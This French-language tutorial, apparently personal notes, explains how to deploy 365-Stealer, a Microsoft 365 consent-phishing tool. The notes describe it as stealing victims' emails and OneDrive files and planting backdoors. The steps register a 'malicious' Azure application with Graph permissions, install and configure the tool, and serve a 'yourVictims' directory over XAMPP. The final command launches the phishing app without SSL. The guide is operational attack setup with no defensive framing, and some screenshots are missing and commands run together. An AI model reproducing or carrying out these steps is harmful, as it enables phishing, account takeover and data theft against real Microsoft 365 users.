o365-Stealer
Def et fonctionnement :
O365 est un outil qui permet de faire du phishing, de l'exfiltration de données en ayant accès aux emails de la victime, de faire des backdoor et de récupérer les fichiers téléchargés sur OneDrive.
https://github.com/AlteredSecurity/365-Stealer
https://www.youtube.com/watch?v=51FSvndgddk
https://www.youtube.com/watch?v=22ku67tElkI
Installation :
(Optionnel) La toute première étape du projet est de créer un sous-domaine pour notre app : notbackdoor
App Registration :
On doit enregistrer d'abord une application malicieuse pour azure :
Dans l'application :
Et on doit ensuite récupérer la value de ce secret.
On ajoute ensuite les permissions API :
API permissions -> Add a permission -> Microsoft Graph -> Delegated permissions
et on ajoute ensuite les permissions que l'on veut :
Installer de O365-Stealer
Installer les prérequis :
sudo apt update
sudo apt install git python3 pip -y
Installer O365
git clone https://github.com/AlteredSecurity/365-Stealer
cd 365-Stealer/
pip install -r requirements.txt
Configurer O365-Stealer
- Pour cela on doit lancer :
python3 365-Stealer.py --set-config
- Sur notre tenant on copie l'application ID, notre secret value et notre redirect URL :
- Ajouter une URL de redirect
- (Optionnel)ajouter des macros à injecter dans les fichiers du OneDrive de la victime pour le moment on en fait pas
- (Optionnel )Pour faire la conf avec un GUI il faut utiliser XAMPP on download l'installer dans
/download
s et ensuite :
il sera installé danscd /downloads chmod 755 xampp-linux-x64-8.0.30-0-installer.run sudo ./xampp-linux-x64-8.0.30-0-installer.run
/opt/lampp
donc pour le lancer :sudo /opt/lampp/lampp start
Il faut ensuite set la page par défaut dans/opt/lampp/apache2/conf/httpd.conf
:
et enfin :DocumentRoot "/home/azureuser/365-Stealer/yourVictims/" <Directory "/home/azureuser/365-Stealer/yourVictims/"> Require all granted </Directory>
sudo chown -R 755 yourVictims/ sudo /opt/lampp/lampp restart
- Démarrer 365-Stealer avec :
python3 365-Stealer.py --port 5067 --run-app --no-ssl
On a donc le site web :
et l'application :